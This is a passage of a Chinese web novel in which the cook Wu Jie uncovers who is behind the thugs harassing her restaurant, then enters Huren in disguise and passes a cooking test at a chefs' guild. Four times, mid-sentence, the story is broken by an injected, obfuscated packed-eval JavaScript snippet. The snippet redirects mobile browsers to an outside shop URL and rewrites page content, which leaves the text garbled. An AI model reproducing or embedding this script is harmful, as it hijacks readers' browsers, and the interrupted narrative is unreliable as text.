不过她很快反应过来，知道乌婕绝不可能在店内杀人，涎着脸道：“娘子说的什么顽笑话——咱几个不过是慕名来店家吃饭，无缘无故倒吃了一顿打，筋骨都松散了。哎呦，您也别站着，且搭把手啊！” 乌婕根本就没接这颠倒黑白的无赖话，而是一边观察此人的神色，一边连续问道：“你觉得我不敢杀你？不怕我送你进去吃牢饭？不知道我风云楼在镇司大人那里极有脸面，绝饶不了你的？” 地痞头子的眼神只有轻蔑，不见一丝的忌惮。 当乌婕提到“风云楼在镇司那里有脸面”的时候，她看起来简直要发笑了。 这风云楼若是真与孝丰镇的镇司交好，还能让她们这样的人一趟趟闯进门来？ 乌婕判道：“好啊，你果然对镇司大人心有不敬。” 地痞头子纵然在心里同意，口中也是不肯认的，嘻嘻哈哈地说：“您说这话，咱们敢听也不敢信呐。好娘子，镇司大人是好人，您快别闹了。” 齐元在一旁将刀刃竖起，地痞头子眼角瞥见，顿时就变成了闭了嘴的蚌壳。 乌婕差点笑场。 但她想着那二杨一莫，又看了看自己脚下送上门来的地痞头子，觉得还是不能放弃这个试探的好机会，缓缓道：“你是觉得镇司大人分量不够？好得很，那就捆了你们送到湖仁县去，请县令大人亲自来审！” 地痞头子的目光微颤，乌婕立刻发觉，赶在她开口之前飞快补了一句，“正好，湖仁的人就该叫县令大人亲自来管，冤不了你们！” ——我已经知道你们是谁派来的了。 地痞头子悚然一惊。 那种被戳破的、反常紧绷的状态，连站在一旁的齐元都注意到了。 接下来，无论那地痞头子再怎样油嘴滑舌地挑衅、试图转移她们的注意力，乌婕都当听不见，只请齐元和闻讯上门的孙无诀一起动手，拿粗麻绳把这群人全绑了。 “乌姊要带她们走？用我的马车罢。” 原四卿不知何时戴着帷帽出现在了二楼，听声音是一点也没被吓到，颇有一股矜贵淡漠的气度。 一楼大堂中，乌婕三人连几个地痞都抬头仰望他，神情不一。 乌婕和孙无诀是觉得新鲜，没想到一个温柔羞涩的小公子还能在外人面前摆出这种派头。 齐元倒没什么额外的反应，唯有那地痞头子，仿佛是怀疑着什么似的，朝着原四卿所在的方向张大了嘴巴，惊异非常。 “哪里就用得着您的马车了？”孙无诀快言快语，“像她们这样的劣货，用我家的牛板子车一装，颠上一日，也就运到湖仁去了。” 乌婕则忽然朝原四卿微微俯身，用一种感激的语气说：“先前已经蒙了您的大恩，我们不敢再多劳烦公子，这回到湖仁去，之后也正好拜访尊母。” 原四卿掩在帷帽下的眼睫眨了眨，没听懂乌婕这几句话中间究竟存在什么逻辑关系。 但他不想反驳她，就站在那里不说话。 在外人看来，仿佛他和乌婕之间早就存在什么默契，此时是把这些话都默认了。 地痞头子终于惊慌起来，觉得乌婕估计是真拿捏到她们主子的把柄了！ 那个公子究竟是苏家的，还是祝家的？莫不是黄家的……？！ 反正他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371165|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后一定站着一个与她们主子不睦的大人物，派了个不起眼的男儿把情报递到风云楼，让这个新东家一下子就掐住了她们主子的命门。 要是真被押到吴县令面前，又被扒出和主子的勾连，谁能救她？谁会救她！ “娘子！乌娘子！有话好说，咱们什么也没来得及干呢，何必您苦苦运我们一趟！” 地痞头子的心防被瞬间击破，终于松口。 接下来的事情便很好办。 风云楼的后院蛮大，柴房的门也挺严实，正适合诱供。 这群混混背后的人果然是莫吴语，又是蛮力打砸又是连续骚扰的，符合那恶人的风格。 但是起初盯上风云楼、后来又出手收买王彩瑚的，似乎是莫吴语后娶的那个黄夫人。 他的做事方法比莫吴语要迂回一些，竟还有栽赃杨家的闲情。 稍微出乎乌婕意料的是，莫吴语对远在孝丰的风云楼并没有特别在意。 她只管给那些混混们银钱，而她自己的大多数精力都放在给湖仁的食肆找麻烦上，也不知这算不算是一种针对风云楼的轻视。 地痞头子见乌婕面色不好（其实是陷入了沉思），生怕自己一番话竟把莫吴语从首恶的位置上摘了出去，忙忙补充道：“我们这些人也是轮番地领银子过来，那放银的抠门得很，找麻烦还得想新法子，她要是觉得没用，就不会给我们钱。后来还惊动了莫大、莫吴语！她看我们做事不麻利，就弄了张借条出来，让几个人装作是要债来，搞你们……” 借条是莫吴语弄出来的？这个“弄”，究竟是真是假？ 乌婕不动声色地记下了这条，继续逼问旁事。 地痞头子只顾要把污水泼出去，同时还要装可怜：“催债逼债要的是下狠手，我们可干不出这种事啊，就没接活。那几个人回来之后说事情没成，莫吴语还骂她们没用，蠢笨，听说这儿有了新东家，就想换个目标，不搞你们了。我们今天来也没别的意思，就是那个，之前雇我们的银子多给了点儿，想着得把事做完来着。” 乌婕：“……你们还挺讲道义啊。”领了银子，坏事就要做到底？ 有这种觉悟做什么不好，偏偏要做地痞！ 地痞头子说：“谁敢收了莫大人的钱不做事，要被扒皮的啊……” 乌婕也没说信与不信，反正这种人嘴里，真话也有八分水，发誓更得反着听。 莫吴语对风云楼不够上心应该是真的，毕竟她从未亲自露面，甚至叫张掌柜她们都怀疑不到她身上。 当然，这其中可能也有莫吴语懒得专门从湖仁过来，就为了挑下一个小小酒楼的缘故。 但若说“湖仁一霸”见事不成就会放弃，地痞此次再来只为仗义……乌婕听完又想笑场了。 乌婕猜测，这地痞头子多半是贪银子，哪怕知道风云楼已有了新东家，仍是不知天高地厚地想过来探探底子，回头报给莫吴语，谄媚讨赏。 莫吴语不干净，这地痞也绝不无辜。 “行了，哭丧个脸给谁看呢？”乌婕轻踹了她一脚，似笑非笑，“你们莫大人要扒你的皮，我们镇司大人可就要打你的板子了。” 孝丰镇的官差纵然有千般不好，终归没有纵女害命的前科；而在银子面前，她们又都是万般顺服的，有些老孝丰人甚至都快习惯了。 去坐牢吃板子吧你！ 18. 莽与不莽 花了点银钱，亲眼看过那些地痞在杀威棒下哭爹喊娘后，张掌柜等人心中的气这才顺了。 折腾了大半日，众人得以回到风云楼大堂，聚成一桌，慢慢地说话。 先前张掌柜和乌婕坐下来讨论风云楼困境之时，还有意要避过原四卿几人的耳目，不想将她们牵涉进来。 但现在双方已是一家人，齐元亲手打了地痞、原四卿也露面说了话，那就不该把她们排除在全家大事之外了。 孙无诀见乌婕似乎有把她一起留下来开大会的架势，忙不迭溜了。 她最不习惯这种场合，若是朋友姐妹间的小聚会还好，但凡有长辈，她就觉得不自在。 乌婕理解她，没有出手阻拦，只觉得有些好笑。 这个孙无诀，急冲冲来，急匆匆走，简直跟后面有人追命似的！ 她送完孙无诀回来，立刻就迎上了原四卿温软的视线。 乌婕一个晃神，原四卿的手就无声无息地伸了过来，搭住她的衣袖。 乌婕无奈，只好和他牵起手来，并肩坐着。 满桌的人都好像没看到一般。 张掌柜简单把风云楼之前遭遇的事情讲了一遍，然后才是乌婕来介绍调查的情报、“审讯”的信息与她最终的推断。 齐元听了后面就忘了前面，全凭武人的定力在桌上从头坐到尾。 齐大娘阅历深、见识广，听得微微点头，还不时出言询问细节，补充思路。 “……照家君所说，背后的人应当就是这个莫吴语了。” 自从乌婕和原四卿之间的事过了明路后，无论是齐大娘还是齐元，都开始改口管乌婕叫“家君”。 乌婕起初还有些不习惯，后来渐渐听熟了，几乎要以为自己的别名就是“家君”。 齐大娘的话还没说完：“只是我听您说了这许多，仍然有一事不够明朗。那个莫吴语远在湖仁，为什么会盯上这里？其中兴许有我们不知道的缘故在。如果不能知道这个缘故，风云楼的麻烦就难以消尽，也就没法重开业了。” 乌婕当然知道这个问题的致命之处。 所以她发现自己想不明白后，立刻选择搁置了它。 否则，若是一直空耗着去想，难保不会被莫吴语的恶意笼罩，导致思绪走入迷障，什么也做不成了。 “齐姨说的也正是我的忧思。”乌婕神情郑重，目光看向的却是张掌柜，“所以我有一个想法。” “之前我上门拜访钱姨，她给我出了个主意，以为风云楼是被客人报复，劝我不要硬顶，暂且关了门，避过风头。我觉得是有些道理的。只是如今咱们都知道了，背后伤人的不是苦主，而是小人。此时再朝那莫吴语低头，仿佛是怕了她似的，叫人忍不下气。” 她说得飞快，中间还轻轻鼓了鼓腮，十分义愤填膺的模样，很有感染力。 但她这副表情并不是做给生人看的。 到底是抚养了多年的孩子，张掌柜刚听乌婕说了两句，就明白了她真正的意思。 “好了，我知道你是怕我执拗，想不开。”张掌柜说。 先前她死守风云楼，梗着一口气也要等到乌婕回来，难道真是舍不得这几十年的破房子？ 重要的永远是人哪。 “风云楼现在的东家是你。”张掌柜讲得很平静，“以前老贺在的时候，我听她的；现在你回来了，我自然就听你的。风云楼又不是挪不了地方的死牌子，左右咱们现在也不剩几个人了，行装也好打点。你想带着风云楼去哪儿，我和小怜到时都跟着你就是了。……” 哪怕这代表着，她们要对恶霸低头，和往日作别，如丧家之犬般离开孝丰，再不回来。 原四卿不知道张掌柜心中复杂的心情，但他选择跟着表态：“都听乌姊的。” 乌婕看了看半张脸写着“认命”、半张脸写着“豁达”的张掌柜，又看了看双眼闪亮亮的原四卿，抬手挠了挠自己的脑袋。 “张姨，你想哪儿去啦？我没打算搬牌子啊，贺师的风云楼是在孝丰做起来的，到了我这里，当然是继续往下做。” 张掌柜本来已打算为乌婕打破自己先前的坚守，突然听见这话，面露愕然。 “那，那个莫吴语……”怎么办？ 齐大娘原先是欲言又止的模样，等到乌婕表了态，她看起来便欣慰许多：“要我说，家君这样想才是最好的。现在咱们只是知道了对方的名姓，甚至还没真正交手过呢，岂有不战而逃的道理？何况这一步退，步步退，纵然能得一时的安稳，日后总会遇见别的麻烦。到了那时，还怎么往前进呢？” 齐大娘也是见多识广的人物，若真到了必要的时候，她当然会劝张掌柜不要硬顶，学会跟斗不过的权贵低头。 但是眼下的风云楼明显还没沦落到那种地步，莫吴语又是个什么东西？ 就算真要换个地方做生意，也不能这么轻易地塌了脊梁。 若是为此坏了心气，生了心病，日后有的是苦头吃呢！ 张掌柜恍然，向齐大娘苦笑道：“枉我比妹子多活几岁，头脑发昏了，竟想不明白这样简单的道理。” 她从来只顾着周全，忙忙碌碌这么些年，已然失去了那份与人斗的心气。 乌婕恳切地说：“若不是为我，为了贺师的风云楼，张姨先前岂会忍气吞苦地在家里熬着？你是身边只有一个小怜，又不想为这牵连旁人，……根本不是发昏，张姨头脑好的很呢。” 张掌柜又指了她笑：“听不懂么，方才我是自谦呢。夸不好你就别硬夸！” 乌婕：“……不夸就不夸嘛。” 齐大娘带着齐元跟着笑了一通，复又开口问道：“不知家君接下来是怎么个打算？” 乌婕认真回道：“我不打算退。这件事我非得搞清楚，再把它解决掉。我的想法是，风云楼先关着，我亲自去湖仁打探一番。” “这？”齐大娘被她直率的莽气吓了一跳，“这种事情，要怎么打探呢？” 乌婕便讲自己的想法：“我先前问那地痞子，知道莫吴语是找人给她们放银子，叫她们来找我们家的麻烦。我想，这个人若是只管发钱的话，恐怕也不知道什么，必须得揪住莫吴语本人来问才行。我打算混进莫家去。” 齐元罕见地接口了：“擒贼先擒王，好主意。” 齐大娘看齐元抬手摸着她腰间那刀，好像听了乌婕的话就准备替她杀人去的，赶紧往她肩膀上拍了一巴掌：“什么擒贼擒王的，你当是跟人斗生死呐！” 然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371166|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她又赶紧劝乌婕：“家君想亲自去排摸湖仁的情况，这当然好。只是若要试探莫吴语，不如咱们再细细商量一番？” 哪有一拍脑袋，就要混进恶人家里去的！ 乌婕安抚道：“齐姨安心，我也不是要凭死力去莽。那莫吴语自娶了黄夫人之后，时不时往家里招厨子上门去，不同以往，也是稀罕得紧——就和她突然盯上风云楼是一样的稀罕。说不定这其中有可利用之处呢。” 齐大娘脸上仍然带着不赞同的神色。 乌婕见了，伸手指着自己笑言道： “您看，我不也是个厨子吗？莫吴语未必认得我这张脸，我到时候只说自己是从西边来的厨子，上门做个菜而已。” 她是真真正正去过西边的，有路引为证；且她学了一手唐家菜，更不怕露馅。 张掌柜忧虑道：“你回来那天，是跟几个混混交了手的。万一她们记下你的脸，报给莫吴语呢？” 乌婕一怔，回想起了那个睡在她铁锅下的打手。 齐元突然说：“这个不必忧心，我能替你做些修饰，保管她们认不出你。” 乌婕立刻询问：“莫非是易容换脸？！” 齐元：“不是。” 乌婕失望地：“哦。” 乌婕把可行性说尽了，张掌柜提到的风险也被齐元补上，齐大娘一时竟没想到反驳的地方，目光一错，不由看向原四卿。 自从来到孝丰开始，一直对乌婕的所有决定表示追随的原四卿，终于拿出了一回不一样的态度。 他眼睛一眨，忽然泛出眼泪来，哭道：“乌姊，我怕你出事……” 乌婕连忙拿出手帕给他。 原四卿一边掉泪一边接了，发现乌婕拿出来的竟是一块曾经属于他的手帕。 初见之日，他把它送给了她。 后来乌婕把它洗得干干净净，再交到他手里时，已经带上了她身上那种清爽的皂角香气。 原四卿捏着手帕，舍不得用，也没有讲话。 乌婕想了想，主动问他：“你要和我一起去吗？” 在乌婕心里，原四卿既然是她的未婚夫了，那么和她同进同退，也是应该的事情。 当然，她还不至于让他陪她一起深入险境，混到莫家去。 但如果只是带他去湖仁县看一看的话，乌婕自认还是能护住他的。 原四卿没想到会听到这样一句，隔着泪眼，定定地看着她。 齐大娘心里顿觉不好，“公子……”不要纵容家君啊！ 原四卿带着哭腔说：“要的，我要与乌姊同去。” 乌婕哄他：“好，好，我答应你。不哭了吧？” 齐大娘一口气哽在喉头，偏偏齐元也要跟着添乱：“家君与公子都要去的话，缺不了护卫。” 张掌柜倒是和齐大娘站在一头的：“你们两个都年轻，事情哪有那么容易！你……” 乌婕顺嘴就把张掌柜也捞上了：“那您就做我们的母亲，和我们一同上路，替我们多想着些。反正我是打定了主意的。我现在是东家！” 我是东家，就听我的！ 张掌柜：…… “对了，齐姨也一同去吧？” 齐大娘：我也要去吗？ 19. 一道考题 湖仁县。 离官衙不过半条街距离的一栋二层小木楼中，一人仰倒在椅上，借着正午的暖阳打着瞌睡。 这份安谧是罕有的——因为它很快就被打破了。 “大姐，俺来记名！” 突如其来的粗噶嗓音让那半睡半醒的人浑身一抖，差点惊得翻下椅子去。 难得酝酿出的睡意被搅扰，她不耐烦地睁开了眼，还没有看清来人的身影，就先呛了一句：“也不看看这会儿是什么时辰，你、你？” 剩下的话，在她看见此人的形象之后，愕然地卡在了喉咙里。 这人生得高挑，身上穿着的却是一件鼓囊囊的布衣，塑得她上半身格外宽广，分外有压迫感。 而她的脸庞也正与她的身材相合：方正形状，黝黑脸膛，眉毛长又粗，眼睛亮又长。 再往下，呃，她的嘴唇怎么那么厚，她的脖子怎么黑得比脸色还要不均匀？ 佳膳会录事都不忍心再看下去了。 别误会，这不忍心倒不是冲着对方，而是对她自己的。 身量不高的录事独自坐在椅子上，面对着这位如同巍峨小山一般的黑脸壮娘，想和她视线对上都要高高仰起脖子，然后再翻起眼皮。 她默默咽了一口口水，试探着问道：“不知大姐祖籍何处——？” 她是佳膳会专门负责登记外来新厨的，也是干了好些年头的老资历了。 录事自认已经把南来北往各种脾性的大厨都见识过了，还是头一回遇到如此、如此凶悍的人物！ 若是城中哪家酒楼得了她，再碰上有恶客闹事的时候，只需要让这个厨子从后厨出来露个面，马上就能把人吓得屁滚尿流吧。 这般说来，此“黑脸”既能做菜，又可镇店，简直是不可多得的人才，之后必然抢手！ 这般想着，录事的态度忽然空前地热情起来，也不计较对方打扰自己午歇的事情了。 黑脸膛的乌婕察觉到了眼前这人突然转变的态度，虽然不知道其中缘由，但这种友好也是她乐于见到的。 她粗着嗓子回答录事的问题：“俺祖籍是幽岍城三石头镇的，会做西菜，有家传手艺，红白案都做得的！” 录事一看她体格便猜她是西边人了，此时也只欣慰于自己的眼光，一面细细记下，一面抓紧问出本该是放在头一个的问题：“大姐你贵姓啊？怎么称呼？” 乌婕大声说：“俺姓乌，搁家里那头，都叫俺乌大。” 录事心说这个姓氏好啊，真是人如其姓！ 但她毕竟不能真把“乌大”这名儿写在名册上，就对乌婕说：“乌大姐，咱们这记名儿呢还得看看路引名籍，你把你路引子拿出来给我瞧瞧。” 乌婕应了一声，从怀里掏出个原四卿亲手打过补丁的小布袋子，珍惜地在里面摸了又摸，终于捧出个小本子来。 录事伸手要接，却没预防乌婕突然把手一收，护着那路引，警惕道：“这东西是官府发给俺的，只能拿给官家娘子，你收它干啥？” “这……” 这样的情况也不是遇见过，录事倒没生气，只是耐心地解释道：“乌大姐，这路引确实是官府开，官府看，官府才能收的。但是我们佳膳会也是在湖仁城的官府挂了名的，官家娘子知道我们呢！而且我也不收你的路引，就是瞧瞧上面的名字还有来路，知道你是从家里来的就行，实在不成，你手里拿着，给我展示一下看看。” 湖仁的佳膳会与当地官府的联系较为密切，乌婕起初对此只是略有耳闻，不敢确定，现在倒是从录事这里真正确认了。 为了进一步彰显自己外地人的形象，乌婕向她露出了犹疑的神色：“你说你这儿是哪儿，湖仁城？俺是不是来错地儿了，俺得去湖仁县呢，你可别诓俺！” 录事正是个土生土长的湖仁人，闻言微微沉了面色，强调：“天下就只有一个湖仁，俺、我们这里只叫它是湖仁城，乌大姐，你没来错，之后也别叫错了！” 乌婕愣愣地应声：“哦，湖仁县城，湖仁城……” 录事按了一下自己的额角，催促道：“乌大姐，路引，路引！” 乌婕这才双手把着路引下部，将路引的第一页拉开，不近不远地展示给录事看。 本朝的路引从来都是一种制式，第一页先记名姓，再写颁布路引的官府名字，然后是路引所有者的大致形貌特征、祖籍信息。 后面的页数则用来给查验路引的各地守关吏画章，标示这本路引究竟流转过哪些地方。 总体而言不是很好伪造，但总有能钻空子的地方。 乌婕是贺成璋在孝丰镇捡来的孤儿，她的祖籍自然就落在了孝丰，给她颁布路引的也是孝丰镇官衙。 自从乌婕跟着唐娘子去过西边后，她的路引后面就增加了唐家所在的幽岍城的官章。 此时乌婕拿给录事看的，却并不是写着“祖籍湖仁县下孝丰镇上”的那一页。 因着唐娘子一句“你不如留下来做我家的人”的玩笑话，乌婕曾随手做了一张名为“乌唐”的路引页，上面还照着守关吏印下的官章，涂了一个似模似样的幽岍城官衙印。 这张伪作的“乌唐”的路引页，如今被乌婕稳稳地按压在指下，垫在她真正的路引首页上，若不细看，几乎能以假乱真。 其实，她就算真用了“孝丰镇乌婕”的身份也没什么。 毕竟乌婕这个人在湖仁的酒楼界是名不见经传的，她的老师贺常璋和湖仁之间的关系也只是“时常到县城采买食材”的程度，遑论她这个徒儿？ 但乌婕总觉得，既然都打算深入敌人的大本营了，能做的地方最好都做得谨慎些——万一乌婕这个名字和风云楼的关系没瞒住呢？ 录事被这黑脸厨子扰得心绪纷乱，见她终于肯把路引拿出，顿时也大大松了口气。 她定睛看清楚了名姓，提笔记个“乌唐”，便对乌婕说：“原来是乌唐大姐。好了，这就记下了，你快把东西收起来吧。” 乌婕听从了她的指令，嘴上道：“俺叫乌大。” 录事：“行行行，乌大姐！” 名字记完，录事起身看了看时辰，对乌婕说：“你来的也是巧，二楼的杨厨现在应该起身了，可以做你的考官。乌大姐你既然有手艺，就上去做一道，显显本事。也不必挑什么大菜做，拣一个家常的就可，我们这里每日都有好些食材备着的。” 乌婕好奇道：“俺做这个菜给那杨厨子吃？为甚么要给她吃？” 这句话问完，乌婕冷静地在心中给自己道了个歉。 对不起乌唐，一直让你演傻子。 下次继续。 录事说： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371167|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这……是应该的吧？我们佳膳会，哪怕只是个外围的人员，也不是什么人都要的呀！荐你来的那人就没告诉你？” 乌婕讲了句实话：“我还是第一次到湖仁、湖仁城来找活计。有家酒楼老板跟我说，要在这里当厨子，先要来佳膳会‘记名’，她们才能要我咧。” 也许是那句“湖仁城”暗合了录事的心意，她竟对乌婕露出了“孺子可教也”的笑容。 “老板也是好心，她说得极对。凡是来我们佳膳会记了名的大厨，哪个没找到好职位？不瞒你说，乌大姐，若是你有那好本事，得了杨厨的青眼，说不定她会亲自替你写荐信，让你得个好去处，老板知道你的厨艺是经过考官验证的，用着就放心。这不是大家都落着好吗？” 确实。大厨得了好职位，老板雇了好员工，两全其美。 那么，在其中牵线搭桥的佳膳会，又能得到什么样的好处？ 乌婕虎头虎脑地说：“那这听着确实是件好事咧。可是我家里的招牌菜，要用家里专门种的菜，这边恐怕没有咧。” 录事只好又重复一遍：“你这会儿也不必挑什么大菜做，先随便拣一个家常的就可。你总得证明自己是个厨子吧？” 一番拉扯下来，乌婕总算同意，跟着录事去二楼见考官。 走在楼梯上时，乌婕暗想，佳膳会里面经常为厨子写信推荐职位的“杨厨”，恐怕就是说杨绍安了吧？ 但出乎她意料的是，进了二楼的大堂后，朝她们所在之处扭过脸的分明是个年轻的女子。 这个“杨厨”面无皱纹，脸似瓜子，五官生得有些寡淡，周身的气质却更淡。 她轻轻扫了一眼眼熟的录事，视线甚至没有在黑脸的乌婕身上停留一刻，就自顾自转了回去。 杨绍安膝下正有一个成人的女儿，莫非此人不是“鱼大姑”，而是代母在此坐镇的“小鱼姑”？ 乌婕心里还在揣度，录事已然热情地迎上前去，弯腰候在那女子身侧低声说了些什么，大约是在介绍“乌唐”的身份和来路。 杨厨听了，忽而又转眼看向乌婕，问道：“你是幽岍城人？” 她连声音都是平缓无波的。 乌婕迟了一秒才回复道：“幽岍城……俺是幽岍城三石头镇人！” 杨厨没说什么，录事先在一旁赔笑了：“这个乌厨性格爽直，您看，就是这样的人物。” 乌婕只看向了杨厨，目中带着疑惑。 杨厨对录事说：“好了，我已经知道。你下去忙吧。” 录事答应了一声，路过乌婕的时候低声叮嘱了一句：“千万听杨厨的话！” 乌婕回了她一个爽直的笑。 杨厨起身说：“过来，厨房在这里。” 乌婕很听话地跟了上去，然后小小吃了一惊。 佳膳会建在“登记处”二楼的、大约只会在新厨报到的时候启用一下的厨房，竟然大小灶台齐全，各式锅具不落！ 这是何等的豪横……何等的引人欣羡！ 杨厨显然注意到了乌婕面上掩不住的惊叹，对此却没有额外的反应。 她开了一角的食材储柜，从里面捧出几个鸡蛋、几个鸭蛋，又挑了些粉面调料，摆在乌婕面前。 “你既是幽岍人，会西菜，想来知道那‘蛋儿白’。做一道来。” 20. 考官赏识 乌婕当然知道这道幽岍名菜。 “蛋儿白”，主料是鸡蛋的蛋清与鸭蛋的蛋黄，做法则分蒸菜和汤菜两种。 但不管是哪种做法，端出的成品必是外白内橙的一颗蛋、或一碗蛋汤，尝起来嫩而不腥，香而不涩，两种蛋的风味完美相融，不分你我，才是最佳。 相对而言，汤菜版的“蛋儿白”要比蒸菜版的“蛋儿白”好做： 有些不能很好掌握火候与调味的厨师，可以在煮蛋汤的时候分阶段品尝，然后根据口味的偏差，及时加入熟热的蛋液或牛羊奶调和，最终调出一碗上白下橙的成品来。 而蒸菜就绝不能如此做了，必得一气呵成、一锅全出才行。 乌婕在唐家学艺时听唐娘子讲，幽岍城的“蛋儿白”只有蒸蛋的做法，没有蛋汤的选择。 真正会做“蛋儿白”的厨子，能把鸡蛋的蛋清液一滴不落地导出灌进模中，刚好裹住提前煮得微微定型的鸭蛋黄，一颗蛋送入蒸锅，蒸好端出来的还是原样的一颗蛋。 不知前情的客人拿到手里，必须剥了壳食用，才能吃出这是一颗“蛋儿白”，而非单独的一只鸡蛋或是鸭蛋。 押中考题是什么感觉？ 乌婕没有立刻表现出兴奋，只是挨个拿起那些蛋，仔细验了成色之后才说：“这些能做三颗，要半个时辰。” 杨厨看了她检查食材的架势，微微点头，“好，是否需要我回避？” 乌婕继续装傻：“啊？回避啥？” 杨厨没再说什么，只是转身朝门外走去，把这间厨房全留给了她。 乌婕不免对这位杨厨生出几分好感来。 如果乌唐当真是个从幽岍城过来的莽直厨子，杨厨这样的做法虽然显得冷淡，却极有分寸：不会打扰她的发挥，也能试出她的水平。 更重要的是，全无偷师的意图与嫌疑。 多想无益，乌婕是真心想要打入佳膳会，此时便真心地做起这道“蛋儿白”来。 蒸菜版的“蛋儿白”不好做。哪怕是幽岍城的本土厨子，若不是将它当成招牌菜做熟了的，一锅里面做十颗，也许最后能端出去的成品也只有三四颗。 而乌婕跟杨厨说“能做三颗”，则是因为这些蛋的品相不一，真正能拿来做“蛋儿白”的，确实只有三颗鸡蛋、三颗鸭蛋。 做十出三，能显什么本事？ 要做就做三出三！ 豪言出口，乌婕手上的动作只愈发精细。 先以特殊的手法平置蛋身，轻敲蛋顶，将鸡蛋的蛋清液直接分作三碗导出。 鸭蛋的料理步骤更繁琐一些，不仅得打顶撇去内里蛋清，又要让蛋黄带壳入锅，竖直立好，小火慢煮，直至内里的蛋黄微微定型。 因为要熟悉这间厨房灶上的火候，乌婕先扔了颗品相一般的鸭蛋进去慢煮，自己则专心调和面糊，细撒料末，尽快塑了一个“蛋模”出来。 又过一会儿，乌婕启开蒸锅，同蒸三个“蛋模”。 她顺手将煮好的鸭蛋从锅里捞出，剥开尝了尝味道，确认灶上的火候与自己估量的不差，这才放入那三颗真正要拿来做“蛋儿白”的鸭蛋，小火煮起一阵，快手捞出。 这过程中的时间全靠厨子自行把握，必须掐得分秒不差，否则一旁静置的鸡蛋清液便会过度松散或变色，从而导致“蛋儿不白”。 所幸乌婕当初求学刻苦，哪怕身处第一次使用的厨房，做起这道菜来仍然得心应手，毫无疏漏。 其中几道除味、添料、揭皮、沉液、盖壳的工序，堪称重中之重。 倒不是说有多么困难，只求心细、慎重。 唯有把这些工序都做好了，最终的成品“蛋儿白”才能白而不僵、香而不涩、合而不散。 少顷，乌婕终于收势。 蛋清环抱蛋黄，蛋壳落入白面，蒸锅添足水，隔碗再起火。 等待“蛋儿白”出锅的间隙里，乌婕甚至伸出头去，对厨房外的杨厨道：“那个大姐，可有布巾的？” “大姐”杨厨闻声走来，问道：“是洒了什么东西？” 乌婕只作憨厚状：“没有没有，什么也没撒，俺寻思菜快好了，先把灶上收拾收拾，清扫干净。” 两人一问一答的工夫，杨厨已然迈过门槛，看见了杂乱但不脏污的灶台，以及兢兢业业冒着白气的蒸锅。 “已经好了？”她难得有些诧异，走近清点了一番剩下的食材，确认对方只用了鸡、鸭蛋各三颗，白面与调料虽然也有取用，但其中消耗远比她想象中要少得多。 这基本是随取随用，正是在小处可以看出的熟稔与从容。 乌婕连忙摆手：“哪有那么快就好了！还要蒸一会儿呢。” 只是蛋已入模，火候已定，剩下的也不需要厨子再调和，差一个学徒来盯着火就是，完全可以算作“好了”。 杨厨盯着那蒸锅，随口道：“你放着就是，待会儿自有人来收拾。” 两个厨子都站在灶前，一个明局促暗平静地，一个既淡然又焦灼地，等待着。 直到乌婕说了一声：“好了。” 杨厨便主动弯下腰去熄火，而乌婕立刻让过身子去揭锅。 ——三颗“蛋儿白”裹着一层软而膨的白面，立在碗中。 乌婕将它们一起拣出，快手剥去了模子，另搁在旁的碗里。 按习惯，她是要拿一颗“蛋儿白”自己先尝了，确认滋味无误，才好把剩下的端出给人的。 只是此次做菜并非练习，而是考题，杨厨人在这里，乌婕不得不强行压抑冲动，转而将它们整齐摆盘。 杨厨处理了灶火后便探身起来，对乌婕道：“让我尝尝。” 乌婕把盘子推给她，一边问：“大姐，你以前也吃过这道呀？” 杨厨只以目光细细描摹“蛋儿白”，没有回答。 乌婕看着她仿佛十分珍惜似地轻轻剥下外壳，露出里面白颤颤的蛋身；下口却一点没客气，直接连蛋清带蛋黄地吃掉了小半个，橙黄的鸭蛋黄露出个缺口来，竟像个残月。 杨厨在口中品了品味道，果然是生嫩无比，香郁非常。 蛋是霜白的，黄是橙红的，混合起来嚼着，不仅没有一丝的腥气，反而透着股醇美的纯香。吃着倒不像鸡蛋与鸭蛋的混物，而似个旁的珍禽蛋被一下蒸出，极为完满。 她再吃了几口，直把整个“蛋儿白”全部吃尽了，才叹息般点评道：“好手艺，好风味，想来你在家中也是不一般的人物。” 乌婕朗声笑道：“俺在镇子上，当然是头一个！” 杨厨干脆地说：“随我过来，我替你写信。” 在杨厨的坚持下，乌婕硬是没能插手清扫灶台的工作——她的原话是“这等事不需要厨子来做”——而是跟着她走入了一个雅致的房间，局促不安地坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 